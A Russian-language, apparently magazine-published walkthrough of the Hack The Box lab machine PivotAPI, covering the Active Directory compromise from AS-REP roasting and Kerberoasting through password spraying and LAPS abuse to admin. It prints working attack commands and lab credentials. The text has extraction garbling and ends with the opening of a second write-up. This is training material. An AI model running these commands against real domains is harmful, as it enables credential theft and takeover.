име на домена ( ) и текущей машины ( ).LICORDEBELLOTA PIVOTAPI

Да вай ска чаем все фай лы с FTP-сер вера для даль нейше го ана лиза. Сде- 
лаем это с помощью :wget

wget ftp://pivotapi.htb/*

В докумен тах ничего важ ного для прод вижения не наш лось, но тема инте рес- 
ная — они опи сыва ют спо собы экс плу ата ции раз личных уяз вимос тей. Но,
как отме чает ся в любом кур се OSINT (раз ведка на осно ве откры тых источни- 
ков), если мы смог ли получить какие-либо докумен ты, нас могут заин тересо- 
вать метадан ные, а имен но атри буты «соз датель» и «вла делец». Из них иног- 
да мож но узнать име на, под ходящие в качес тве логинов. Смот реть эти дан- 
ные мож но раз ными метода ми, я вос поль зуюсь  (уста нав лива ется

коман дой ).

exiftool

sudo apt install exiftool

Свой ства докумен та notes1.pdf

Соз дав прос той кон вей ер на Bash, получим из всех докумен тов поля 

и .

Creator
Author

 |   |  exiftool * grep "Creator\|Author" awk '{print $3}'

Вла дель цы и соз датели фай лов

От кинув сом нитель ные записи, мы можем сос тавить спи сок из пяти воз- 
можных имен поль зовате лей: , , , , .saif byron cairo Kaorz alex

Продолжение статьи →

mailto:hackerralf8@gmail.com
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ÒÎ×ÊÀ ÂÕÎÄÀ. AS-REP ROASTING

Так как на хос те работа ет Kerberos, мы можем про верить, сущес тву ет ли
какая-то учет ная запись. В этом нам поможет ата ка AS-Rep Roasting. Смысл
ее в том, что мы посыла ем на сер вер аутен тифика ции ано ним ный зап рос
для пре дос тавле ния опре делен ному поль зовате лю дос тупа к какой-либо
услу ге. Сер вер в ответ:

пре дос тавля ет хеш;•
от веча ет, что у дан ного поль зовате ля не выс тавлен флаг 

;
• UAF Don't 
Require PreAuth
го ворит, что такого поль зовате ля нет в базе Kerberos.•

Вы пол нить ата ку мы можем с помощью скрип та , вхо дяще го
в сос тав пакета скрип тов . Зада ем скрип ту сле дующие парамет ры:

кон трол лер домена ( ), спо соб аутен тифика ции Kerberos ( ), опция

«без пароля» ( ), спи сок поль зовате лей ( ) и целевой хост
в фор мате .

GetNPUsers

impacket

-dc-ip -k
-no-pass -usersfile

домен/хост

  GetNPUsers.py -dc-ip 10.10.10.240 -no-pass -k -usersfile users.txt 
LICORDEBELLOTA/pivotapi.htb 

Ре зуль тат работы скрип та

Нам говорят, что, кро ме поль зовате ля , в базе Kerberos боль ше никого

нет, при чем для учет ной записи  сер вер аутен тифика ции вер нул нам
хеш! Давай раз берем ся, что это за хеши и почему их раз дают кому попало.

Kaorz
Kaorz

Де ло в том, что, ког да кли ент посыла ет сооб щение c иден тифика тором
поль зовате ля на сер вер аутен тифика ции и зап рашива ет дос туп к услу ге
для какого-то поль зовате ля, сер вер аутен тифика ции смот рит, есть ли поль- 
зователь в базе Kerberos, пос ле чего про веря ет его учет ные дан ные. Если
учет ные дан ные невер ны, сер вер отве чает сооб щени ем 

.

UAF Don’t Require
PreAuth

Но есть одно огра ниче ние: у учет ной записи поль зовате ля может быть
акти виро ван флаг , который озна чает, что для дан ной учет- 

ной записи не тре бует ся пред варитель ная про вер ка под линнос ти Kerberos.
Для это го поль зовате ля учет ные дан ные не про веря ются и сер вер аутен- 
тифика ции генери рует сек ретный ключ, хешируя пароль поль зовате ля, най- 
ден ный в базе дан ных. Получа ется, мы можем проб рутить хеш и узнать
пароль поль зовате ля!

DONT_REQ_PREAUTH

Бру тить хеш будем по сло варю прог раммой . При запус ке нам

нуж но передать номер типа хеша (параметр ), поэто му сна чала узна ем его,
зап росив справ ку и отфиль тро вав толь ко нуж ный нам тип.

hashcat

-m

 |  hashcat --example grep krb5asrep -A2 -B2

По луче ние номера типа хеша

Ис комый номер — 18200. Теперь запус каем перебор, при этом в парамет рах
ука зыва ем перебор по сло варю ( ), тип хеша krb5asrep ( ), файл

с хешем и сло варь.

-a 0 -m 18200

 0 hashcat -a -m 18200 hash.krb5asrep ~/wordlists/rockyou.txt 

Ре зуль тат перебо ра хеша

Очень быс тро находим иско мый пароль учет ной записи . Так как у нас

появи лись учет ные дан ные, нуж но поп робовать с ними под клю чить ся ко всем
дос тупным ресур сам. FTP учет ных дан ных не тре бует, поэто му про верим
SMB. Для это го я обыч но исполь зую ути литу .

Kaorz

smbmap

smbmap -u Kaorz -p Roper4155 -H 10.10.10.240 

Дос тупные ресур сы SMB

В выводе получим спи сок дос тупных ресур сов SMB и раз решения для каж- 
дого. Что бы дол го не ходить по дирек тори ям и не искать инте рес ные фай лы,
есть удоб ная воз можность вывес ти все содер жимое ресур сов рекур сивно.
Для это го в smbmap нуж но ука зать опцию . Про лис тав спи сок, обра щаем

вни мание на каталог , который содер жит исполня емый файл и два

фай ла , то есть какие-то сооб щения.

-R
HelpDesk

msg

smbmap -u Kaorz -p Roper4155 -H 10.10.10.240 -R

Со дер жимое катало га HelpDesk

Что бы заполу чить фай лы, можем запус тить любой кли ент SMB. Я буду
исполь зовать , пос коль ку он тоже вхо дит в набор impacket.smbclient

smbclient.py LicorDeBellota/Kaorz:Roper4155@10.10.10.240 
use NETLOGON 
cd HelpDesk 
get Restart-OracleService.exe 
get Server MSSQL.msg 
get WinRM Service.msg 
exit

Заг рузка фай лов с SMB

Продолжение статьи →

https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py
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ÒÎ×ÊÀ ÎÏÎÐÛ

Êîíâåðòàöèÿ MSG

Файл .msg содер жит элек трон ное пись мо в фор мате Microsoft Outlook и вклю- 
чает дан ные отпра вите ля и получа теля, тему и текст пись ма. Так же в виде
фай ла .msg может быть сох ранена информа ция о встре че или ином событии
из кален даря Outlook, дан ные кон такта из адресной кни ги, све дения о задаче.
Его мож но кон верти ровать в обыч ный тек сто вый фор мат с помощью ути литы

. Но сна чала ее сле дует уста новить.msgconvert

apt sudo install libemail-outlook-message-perl libemail-sender-perl 
msgconvert Server\ MSSQL.msg 
msgconvert WinRM\ Service.msg 

Со дер жимое сооб щения Server MSSQL

Со дер жимое сооб щения WinRM Service

В пер вом сооб щении говорит ся, что в 2010-е годы была уста нов лена база
Oracle, но в 2020 году решили перей ти на MS SQL. При этом най ден ное при- 
ложе ние  было соз дано для рес тарта служ бы Oracle. Что

здесь очень важ но — это фун кция логина, то есть при ложе ние работа ет
с учет ными дан ными.

Reset-Service.exe

Во вто ром сооб щении упо мина ется бло киров ка служ бы WinRM и исхо- 
дяще го тра фика по про токо лам TCP, UDP и ICMP.

Àíàëèç ïðèëîæåíèÿ, èñïîëüçóþùåãî âûçîâ CMD

Пе рей дем к ана лизу треть его фай ла — исполня емо го. Откро ем его в любом
дизас сем бле ре (я исполь зую ) и пер вым делом гля нем спи сок

импорти руемых фун кций. Это поз волит нам сос тавить пер вое мне ние об этой
прог рамме и при мер но понять, для чего она нуж на.

IDA Pro

Спи сок импорти руемых фун кций

Об ратим вни мание на фун кцию , которая дол жна выпол нять

коман ды в коман дной стро ке. Еще здесь мно го фун кций для работы с фай- 
лами ( , ,  и про чие). Что бы наг лядно
отсле дить работу с фай лами и запуск команд, акти виру ем .

Пос ле запус ка соз дадим филь тр, который будет отсле живать толь ко наш
целевой про цесс.

ShellExecuteEx

DeleteFile CreateFile GetTempPathW
Process Monitor

Филь тр Process Monitor

Ког да все будет готово, запус тим исполня емый файл и прос мотрим вывод
Process Monitor.

Со бытия в Process Monitor

В событи ях мы видим соз дание фай лов .tmp и запись (ско рее все го, копиро- 
вание) скрип та .bat. Далее соз дает ся про цесс коман дно го интер пре тато ра

. А раз он запус кает ся, то мы можем вос поль зовать ся .

Эта ути лита будет при оста нав ливать про цесс и показы вать аргу мен ты
при запус ке CMD в любых про цес сах. Запус тим CMDWatcher, а потом ана- 
лизи руемое при ложе ние. Мы уви дим, как запус кает ся при ложе ние, а затем —
как акти виру ется сце нарий bat.

cmd.exe CMDWatcher

Со бытие запус ка при ложе ния Restart-OracleService.exe

Со бытие запус ка фай ла bat

Прой дем в дирек торию с запус каемым скрип том и уви дим в ней сам скрипт
и файл с рас ширени ем tmp.

Со дер жимое катало га /AppData/Local/Temp/

Заг лянем в скрипт. В начале видим про вер ку на запуск от име ни опре делен- 
ного поль зовате ля. Сра зу сох раня ем себе его имя — при годит ся! Затем дан- 
ные записы вают ся в файл . Кодиров ка напоми- 

нает Base64.

C:\programdata\oracle.txt

Со дер жимое скрип та

Пос ле записи соз дает ся еще один файл — , он

содер жит код на PowerShell. Этот код счи тыва ет дан ные из фай ла 
, декоди рует их из Base64 и записы вает в 

. Затем уда ляют ся и файл с дан ными

Base64, и скрипт на PowerShell и запус кает ся новосоз данный исполня емый
файл . Пос ле выпол нения он уда ляет ся.

C:\programdata\monta.ps1
C:\

programdata\oracle.txt C:\
programdata\restart-service.exe

restart-service.exe

Со дер жимое скрип та

Да вай получим этот исполня емый файл для даль нейше го ана лиза. Для это го
нем ного модер низиру ем наш бат ник: в начале скрип та убе рем про вер ку
поль зовате лей, а в кон це — любые уда ления фай лов (коман да ), убе рем

так же запуск соз дающе гося исполня емо го фай ла.

del

Мо дер низиро ван ный bat-скрипт (начало)

Мо дер низиро ван ный bat-скрипт (конец)

За пус тим изме нен ный скрипт, пос ле чего про верим каталог ,

там нас будет ждать файл с дан ными, скрипт на PowerShell и целевая прог- 
рамма.

C:\programdata

Со дер жимое катало га C:\programdata

Àíàëèç ïðèëîæåíèÿ ñî ñêðûòûìè ôóíêöèÿìè

Ис полня емый файл откры ваем в IDA Pro, что бы пос мотреть импорти руемые
фун кции. Но там не было ничего инте рес ного, а для ста тичес кого ана лиза
файл велико ват. Имен но по этой при чине я решил исполь зовать при ложе ние

. Оно может отоб ражать все вызовы API-фун кций вмес те

с переда ваемы ми в них аргу мен тами.

API Monitor

Пос ле запус ка API Monitor нуж но ука зать целевой исполня емый файл,
для чего выбира ем Monitor New Process. В раз деле спра ва уви дим все выз- 
ванные при ложе нием фун кции.

Стар товое окно при ложе ния API Monitor

Вы бор исполня емо го фай ла

Ре зуль тат ана лиза фай ла

Час то вызыва ется . Дело в том, что DLL может заг ружать ся

при ложе нием не толь ко ста тичес ки (при запус ке), но и динами чес ки (во вре- 
мя выпол нения) с помощью фун кции . А для получе ния адре са
фун кции в заг ружен ной DLL как раз исполь зует ся фун кция ,

которая в качес тве парамет ра получа ет имя импорти руемой фун кции. Эта
тех ника усложня ет ста тичес кий ана лиз, а имен но скры вает важ ные фун кции
из таб лицы импорта.

GetProcAddress

LoadLibrary
GetProcAddress

Да вай узна ем, какие фун кции хотел спря тать раз работ чик. Для это го необ-
ходимо уста новить филь тр, что бы в выводе при сутс тво вали толь ко фун кции

. В кон текс тном меню выбира ем Include → API Name.GetProcAddress

Ус танов ка филь тра

От филь тро ван ный спи сок фун кций API

Сра зу видим мно жес тво фун кций для работы с реес тром, но это пока ничего
не говорит. Что бы сло жить целос тную кар тину, прос мотрим абсо лют но все
заг ружа емые фун кции (это зай мет 5–10 минут). Во вре мя ана лиза оста нав- 
лива емся на . Это важ ная фун кция!CreateProcessWithLogonW

От филь тро ван ный спи сок API-фун кций

Она соз дает новый про цесс и его пер вичный глав ный поток. Новый про цесс
затем запус кает задан ный исполня емый файл в кон тек сте сис темы безопас- 
ности опре делен ного поль зовате ля. Дело в том, что эта фун кция при нима ет
учет ные дан ные поль зовате ля в качес тве аргу мен тов. Давай най дем ее вызов,
что бы получить эти парамет ры. Для это го выбира ем в окне Display пункт Add
Filter, а затем ука зыва ем усло вие .API Name is CreateProcessWithLogonW

Соз дание филь тра

Со бытие вызова фун кции CreateProcessWithLogonW

Об рати вни мание на парамет ры  и , где содер жатся
имя поль зовате ля и его пароль. Так как это учет ные дан ные для сер вера базы
дан ных, поп робу ем на нем и авто ризо вать ся. Увы, моя пер вая попыт ка зай ти
как  про вали лась — сер вер отве тил, что
имя поль зовате ля или пароль невер ные.

lpUsername lpPassword

svc_oracle:#oracle_s3rV1c3!2010

Âûïîëíåíèå êîìàíä ÷åðåç MS SQL Server

На ша наход ка тем не менее небес полез на! Изу чим эти логин и пароль вни- 
матель нее. Часть  — это исполь зуемое ПО, а  — год уста нов ки.

По ана логии с дан ными для уже отклю чен ной служ бы Oracle сде лаем учет ные
дан ные для MS SQL:

oracle 2010

поль зователь по умол чанию — ;• sa
па роль скла дыва ется по шаб лону из исполь зуемой тех нологии и года
уста нов ки (которые мы узна ли из сооб щения): .

•
#mssql_s3rV1c3!2020

Для под клю чения исполь зуем  из пакета скрип тов impacket.mssqlclient

impacket-mssqlclient sa@pivotapi.htb 

Под клю чение к MS SQL Server

Пос ле под клю чения мы можем работать из коман дной стро ки, для чего
исполь зуем фун кцию .xp_cmdshell

Те кущий поль зователь

Продолжение статьи →
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ÏÐÎÄÂÈÆÅÍÈÅ

Ïåðâûé ïîëüçîâàòåëü — svc_mssql è òåõíèêà runas

Пер вым делом получим более удоб ную обо лоч ку, которая к тому же будет
иметь фун кцию заг рузки фай лов — . В самом начале скрип та нам

нуж но уста новить свои парамет ры, такие как логин, пароль и адрес хос та.

mssql_shell

Из менен ный исходный код mssql_shell

Вы пол ним код и получим уже более удоб ную обо лоч ку.

Шелл через mssql_shell

Но, поп робовав заг рузить любой файл, получа ем ошиб ку.

Ошиб ка при заг рузке фай ла

Из лога мы видим пояс нение, что ошиб ка про исхо дит в стро ке 52. Сно ва
откры ваем исходный код и меня ем позицию, отве чающую за кодиро вание
Base64, под клю чив нуж ную биб лиоте ку.

# Исходная строка
  b64enc_data = b"".join(base64.encodestring(data).split()).decode()

# Измененный код
  b64enc_data = b"".join(base64.b64encode(data).split()).decode()

Из менен ный исходный код

За ново под клю чим ся к хос ту и пов торим заг рузку фай ла коман дой .

В этот раз она прой дет успешно.

UPLOAD

Заг рузка фай ла с помощью mssql_shell

На хос те обна ружим безум ное количес тво поль зовате лей — аж гла за раз- 
бега ются! Но сре ди них есть , пароль которо го нам известен.

Одна ко его домаш няя дирек тория нам недос тупна, так как мы работа ем не в
его кон тек сте.

svc_mssql

Спи сок поль зовате лей

Для выпол нения команд в кон тек сте дру гого поль зовате ля мож но исполь- 
зовать кас томные прог раммы типа . К при меру,  прог- 

раммы на C#, которая запус кает ся из PowerShell.

runas эту реали зацию

Заг рузим этот скрипт на уда лен ный хост и выпол ним с помощью
PowerShell. В качес тве парамет ров переда ем домен, логин и пароль, а так же
выпол няемую коман ду — в нашем слу чае получе ние спис ка фай лов в домаш- 
ней дирек тории поль зовате ля.

powershell -c ". .\Invoke-RunasCs.ps1 ; Invoke-RunasCs -Username 
svc_mssql -Domain LicorDeBellota.htb -Password '#mssql_s3rV1c3!2020' 
-Command 'dir C:\Users\svc_mssql\Desktop'"

Ко ман да выпол нена успешно, а мы получи ли путь даль нейше го дви жения.

Âòîðîé ïîëüçîâàòåëü — 3v4Si0N è âçëîì KeePass

В тек сто вом фай ле ска зано, что нам нуж но перей ти с MS SQL на SSH. Вто рой
файл пред став ляет собой базу хра нили ща паролей KeePass, поэто му нам
нуж но перенес ти его на локаль ный хост и поп робовать вскрыть. Для эксфиль- 
тра ции дан ных закоди руем файл в Base64 с помощью , а потом ско- 
пиру ем получен ный текст и декоди руем уже на локаль ном хос те.

certutil

# Удаленный хост
 powershell -c ". .\Invoke-RunasCs.ps1 ; Invoke-RunasCs -Username 

svc_mssql -Domain LicorDeBellota.htb -Password '#mssql_s3rV1c3!2020' 
-Command 'certutil -encode C:\Users\svc_mssql\Desktop\credentials.
kdbx C:\Temp\c.txt'"

# Локальный хост
  cat creds.kdbx.b64 | base64 -d > credentials.kdbx 

Эк сфиль тра ция дан ных

Что бы открыть этот файл, нам нуж но знать пароль, хеш которо го есть в фай ле
зашиф рован ной базы. Если ты работа ешь в спе циали зиро ван ном дис три- 
бути ве вро де Kali Linux, то у тебя уже есть под рукой набор скрип тов
для извле чения хешей паролей из фай лов раз ных фор матов.

/usr/sbin/keepass2john credentials.kdbx 

Хеш базы KeePass

А теперь помес тим этот хеш в файл и перебе рем его с помощью John
the Ripper.

john --wordlist=../tools/rockyou.txt kdbx.hash 

Ре зуль тат перебо ра хеша

Да лее, если у тебя есть KeePass (а если нет, то ставь его коман дой 
), откры вай файл и ищи там пароль поль зовате ля .

apt 
install keepassx 3v4Si0n

Спи сок сох ранен ных паролей

Па роль поль зовате ля 3v4Si0n

Спре им най ден ный пароль для всех поль зовате лей по про токо лам SSH
и SMB с помощью . Пароль подошел как к SSH, так и к SMB,
поэто му авто ризу емся и забира ем пер вый флаг.

crackmapexec

  crackmapexec smb pivotapi.htb -u users.txt -p 'Gu4nCh3C4NaRi0N!23'
--continue-on-success

Ре зуль тат перебо ра SMB

  crackmapexec ssh pivotapi.htb -u users.txt -p 'Gu4nCh3C4NaRi0N!23'
--continue-on-success

Ре зуль тат перебо ра SSH

Флаг поль зовате ля

Òðåòèé ïîëüçîâàòåëü — Dr.Zaiuss è àòàêà Kerberoasting

Ку да дви гать ся даль ше? Инс тру мен ты вро де  и  ничего
не дали, зна чит, нуж на более прод винутая раз ведка, в которой не обой дет ся
без очень кру той прог раммы — . Она исполь зует теорию гра фов

для выяв ления скры тых и час то неп редна мерен ных вза имос вязей в сре де
Active Directory. Прог рамма поз воля ет лег ко най ти очень слож ные пути ата ки,
которые ина че было бы невоз можно быс тро иден тифици ровать.

WinPEAS PowerUp

BloodHound

BloodHound

Из началь но саму наг рузку, реали зован ную на PowerShell или C#, нуж но было
запус кать на целевом хос те. Но есть и вер сия на Python, которую мож но
исполь зовать пря мо с Linux. Ска чаем ее с GitHub и уста новим:

git clone https://github.com/fox-it/BloodHound.py.git 
cd BloodHound.py 
python3 setup.py install

А теперь соберем информа цию с целево го хос та, бла го это не зай мет мно го
вре мени. В парамет рах ука зыва ем учет ные дан ные для под клю чения, адрес
хос та и тип собира емой информа ции — нам нуж на вся (параметр , зна- 

чение ).

-c
all

 
  all 

bloodhound-python -d LicorDeBellota.htb -u 3v4Si0N -p
'Gu4nCh3C4NaRi0N!23' -gc pivotapi.licordebellota.htb -c -ns 10.
10.10.240 

Ло ги BloodHound

В логах видим, сколь ко доменов, лесов и компь юте ров най дено, сколь ко
поль зовате лей и групп получе но. В резуль тате работы BloodHound в текущей
дирек тории появит ся нес коль ко фай лов. Для работы с ними нуж но уста новить
СУБД Neo4j и гра фичес кую оснас тку bloodhound, которая будет рисовать гра- 
фы свя зей.

apt sudo install neo4j bloodhound 

За пус тим уста нов ленную СУБД коман дой .sudo neo4j console

Ло ги СУБД neo4j

Пос ле сооб щения об успешном стар те зай дем на 

через бра узер. Нам сра зу пред ложат уста новить пароль. Дела ем это, запус- 
каем BloodHound (коман да  в коман дной стро ке) и авто ризу емся

с толь ко что уста нов ленным паролем. Ког да откро ется пус тое окош ко,
закиды ваем в него фай лы, получен ные в резуль тате работы bloodhound-
python. А затем в гра фе поис ка ука зыва ем груп пу поль зовате лей. На экра не
будут отоб ражены все поль зовате ли из этой груп пы.

http://localhost:7474/

bloodhound

Все сис темные поль зовате ли

Най дем в этом спис ке всех поль зовате лей, кон троль над которы ми мы уже
име ем: , , . Пос ле выбора это го поль зовате ля в кон- 

текс тном меню помеча ем его как уже под кон троль ного — Mark User as
Owned. На икон ке поль зовате ля дол жен появить ся череп. Затем прой дем
в гра фу ана лити ки и поп росим BloodHound най ти путь прод вижения к дру гим
поль зовате лям от уже взло ман ных — опция Shortest Path from Owned
Principals. Так мы получим мар шрут от поль зовате ля .

Kaorz svc_mssql 3v4Si0N

3v4Si0N

Ме ню ана лити ки BloodHound

Путь дви жения, пос тро енный BloodHound

Мы видим, что объ ект  име ет пра во  на объ ект 
. Эта при виле гия озна чает пол ный кон троль одно го объ екта над дру- 

гим, что поз воля ет манипу лиро вать свой ства ми под кон троль ного объ екта.
Два популяр ных вари анта в этом слу чае — ата ка Kerberoasting или сме на
пароля целевой учет ной записи. Мы пой дем по пер вому пути.

3V4SI0N GenericAll DR.
ZAIUSS

Àòàêà Kerberoasting

Эта ата ка воз можна потому, что мы можем уста новить объ екту целевой учет- 
ной записи SPN-имя. Реали зация про токо ла Kerberos в Windows исполь зует
име на учас тни ков служ бы (SPN) для опре деле ния того, какую учет ную запись
задей ство вать для шиф рования билета служ бы. В Active Directory сущес тву ет
два вари анта SPN: SPN на осно ве хос та и про изволь ные SPN. Пер вый вари- 
ант SPN свя зан с учет ной записью компь юте ра домена, а вто рой обыч но (но
не всег да) — с учет кой поль зовате ля домена.

Про ще говоря, в слу чае зап роса билета он будет зашиф рован паролем
учет ной записи, SPN которой было пре дос тавле но. А мы можем уста новить
SPN для этой учет ной записи, тем самым вынудив шиф ровать билет паролем
учет ной записи . Затем мы его прос то проб рутим.Dr.Zaiuss

Что бы удоб нее манипу лиро вать свой ства ми объ ектов Active Directory, заг- 
рузим на хост  с помощью .PowerView scp

scp PowerView.ps1 '3v4Si0N@pivotapi.htb:C:\Users\3v4Si0N\Documents'

А затем наз начим для под кон троль ной учет ной записи любое SPN, к при меру
.nonexistent/RALF

 powershell -c ". .\PowerView.ps1; Set-DomainObject -Identity Dr.
Zaiuss -SET @{serviceprincipalname='nonexistent/RALF'}"

Про верить уста нов ленное SPN мож но сле дующей коман дой. Она зап росит
все SPN из домена.

 powershell -c ". .\PowerView.ps1; Get-NetUser -SPN | select 
samaccountname,serviceprincipalname"

SPN уста нов лено, и приш ло вре мя получить билет. Я это сде лаю уда лен но
с помощью пакета скрип тов . При под клю чении тре буют ся учет ные
дан ные поль зовате ля домена.

impacket

 GetUserSPNs.py -request -dc-ip pivotapi.htb LicorDeBellota.htb/
3v4Si0N 

По лучен ный билет

Дан ный билет лег ко бру тит ся с помощью , для это го нуж но лишь ука- 

зать режим 13100 (параметр ).

hashcat

-m

 0 hashcat -a -m 13100 ./kerb.hash ../tools/rockyou.txt 

По доб ранный пароль поль зовате ля

Так мы берем под кон троль еще одно го поль зовате ля. Не забыва ем отме тить
это в BloodHound.

×åòâåðòûé ïîëüçîâàòåëü — superfume è password spraying

Сно ва при меня ем най ден ный пароль для всех поль зовате лей. При перебо ре
SSH ничего най ти не уда лось, а вот в слу чае с SMB пароль подошел даже
к двум поль зовате лям!

  crackmapexec smb pivotapi.htb -u users.txt -p 'qwe123QWE!@#'
--continue-on-success

Пе ребор поль зовате лей для задан ного пароля

Ос талось толь ко понять, как авто ризо вать ся от лица это го поль зовате ля, ведь
к SSH пароль не подошел. Одна ко поль зователь явля ется чле ном груп пы
WinRM, о чем нам говорит граф свя зей BloodHound.

Пря мое и кос венное отно шение поль зовате ля к груп пам

На хож дение в этой груп пе поз воля ет нам получить управле ние через
PSSession пря мо с уда лен ной машины.

$pass = ConvertTo-SecureString 'qwe123QWE!@#' -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential(
'superfume', $pass)
$session = New-PSSession -ComputerName 127.0.0.1 -Credential $cred 
-Authentication Negotiate
Enter-PSSession $session

По луче ние сес сии поль зовате ля

Ïÿòûé ïîëüçîâàòåëü — jari è äåêîìïèëÿöèÿ .NET

Сре ди групп поль зовате ля так же есть и груп па . В кор не дис ка 

есть дирек тория с тем же наз вани ем, дос тупная толь ко этой груп пе. Там
лежат катало ги двух поль зовате лей:  и . В сво ем мы ничего

не находим, а вот у дру гого поль зовате ля есть исполня емый файл, ско рее
все го написан ный на C#. Сра зу прос мотрим этот код, вдруг най дем
еще какие-нибудь учет ные дан ные.

Developers C:

superfume jari

Со дер жимое катало га C:\Developers\jari

Со дер жимое фай ла program.cs

Мы все же находим мес то, где мог бы быть пароль. Но его там нет. Но воз- 
можно, это про тотип, а не финаль ное при ложе ние. К тому же прог раммы
на C# очень лег ко деком пилиру ются, поэто му не будем упус кать такую воз- 
можность. Для деком пиляции и ана лиза советую исполь зовать . Я

перешел на вир туаль ную машину Windows, запус тил dnSpy и заг рузил в нее
бинар ный файл. В самом начале прог раммы находим какую-то стро ку.

dnSpy

Вряд ли это пароль, но все рав но сох раним. Сра зу за этой стро кой рас- 
положен мас сив дан ных, который под лежит рас шифров ке по алго рит му RC4.
И у нас есть воз можность прос мотреть стро ку пос ле того, как про цесс будет
закон чен. Для это го уста нав лива ем точ ку оста нова на стро ке с фун кци ей

 и запус каем отладку при ложе ния.Decrypt

Па рамет ры отладки при ложе ния

Пе реша гива ем через эту фун кцию и в таб лице локаль ных перемен ных получа- 
ем рас шифро ван ный мас сив.

Ско пиру ем его и исполь зуем код на Python, что бы пред ста вить чис ла в виде
сим волов.

Фор матиро вание мас сива

Мы получа ем какую-то стро ку. Сно ва запус тим спре ить ся най ден ный пароль.

  crackmapexec smb pivotapi.htb -u users.txt -p 'Cos@Chung@!RPG'
--continue-on-success

Пе ребор поль зовате лей для задан ного пароля

И, как и ожи далось, зах ватим поль зовате ля . Для получе ния управле ния
получим сес сию PowerShell уже зна комым нам спо собом.

jary

$pass = ConvertTo-SecureString 'Cos@Chung@!RPG' -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential('jari', 
$pass)
$session = New-PSSession -ComputerName 127.0.0.1 -Credential $cred 
-Authentication Negotiate
Enter-PSSession $session

По луче ние сес сии поль зовате ля

Øåñòîé ïîëüçîâàòåëü — gibdeon

Пос ле получе ния кон тро ля над новым поль зовате лем не забыва ем отме тить
наше дос тижение в BloodHound.

Пос ле перес тро ения гра фа обна ружим новый путь к зах вату еще одно го
поль зовате ля. Это воз можно, потому что у нас есть пра во на сброс и изме- 
нение пароля ( ) поль зовате ля gibdeon.ForceChangePassword

Граф BloodHound

Да вай изме ним свой ство  объ екта , исполь зуя
. В качес тве пароля уста новим .

AccountPassword GIBDEON
PowerView Password123!

$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText 
-Force
Set-DomainUserPassword -Identity GIBDEON -AccountPassword 
$UserPassword

Пос ле изме нения пароля про верим его для служб SSH и SMB.

Про вер ка уста нов ленно го пароля

Мы можем выпол нять коман ды от име ни текуще го поль зовате ля.

Продолжение статьи →

https://raw.githubusercontent.com/Alamot/code-snippets/master/mssql/mssql_shell.py
https://raw.githubusercontent.com/antonioCoco/RunasCs/master/Invoke-RunasCs.ps1
https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
https://github.com/BloodHoundAD/BloodHound
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
https://github.com/SecureAuthCorp/impacket
https://github.com/dnSpy/dnSpy
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ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Зах ватили нового поль зовате ля — отме тили это в BloodHound и перес тро или
граф.

Пе рес тро енный граф BloodHound

На этот раз BloodHound пос тро ил мар шрут к кон тек сту с высоки ми при виле- 
гиями за счет пароля LAPS. Груп па, в которой мы находим ся, име ет при виле- 
гии на управле ние груп пой . Добавим себя в эту груп пу.LAPS READ

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText 
-Force
$Cred = New-Object System.Management.Automation.PSCredential(
'LicorDeBellota.htb\GIBDEON', $SecPassword)
Add-DomainGroupMember -Identity 'Laps Read' -Members 'Gibdeon' 
-Credential $Cred

И сра зу про верим чле нов этой груп пы.

Get-DomainGroupMember -Identity 'Laps Read'

По луче ние поль зовате лей груп пы

Как видишь, наш поль зователь был добав лен в целевую груп пу.

LAPS

LAPS (Local Administrator Password Solution) поз воля ет цен тра лизо ван но
управлять пароля ми адми нис тра торов на всех компь юте рах домена и хра нить
информа цию о пароле и дате его сме ны непос редс твен но в объ ектах типа
Computer в Active Directory. И наша новая груп па дает нам воз можность про- 
читать этот пароль адми нис тра тора.

Get-DomainObject pivotapi -Credential $Cred -Properties 
"ms-mcs-AdmPwd",name

По луче ние пароля адми нис тра тора

Мы получи ли пароль локаль ного адми на и исполь зуем , что бы окон- 

чатель но зах ватить хост.

psexec

psexec.py administrador@pivotapi.htb 

Флаг рута

Мы наконец-то покори ли эту машину!
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ВЗЛОМ

На этот раз мы с тобой прой дем сред нюю
по слож ности машину с пло щад ки 

. Ты научишь ся извле кать цен ную
информа цию из репози тори ев Git, обхо- 
дить кон троль дос тупа HTTP 403, экс плу- 
ати ровать Apache Tomcat до уров ня выпол- 
нения про изволь ного кода и повышать при- 
виле гии через Ansible Playbook.

Hack
The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.10.250    seal.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ви дим три откры тых пор та: 22 (служ ба SSH), 443 (веб-сер вер nginx 1.18.0)
и 8080 (отме чен как HTTP-прок си).

Справка: брутфорс учеток
Пос коль ку в начале про хож дения у нас нет учет ных дан ных, нет и смыс ла изу- 
чать служ бы, которые всег да тре буют авто риза ции (нап ример, SSH). Единс- 
твен ное, что мы можем делать здесь, — это переби рать пароли брут форсом,
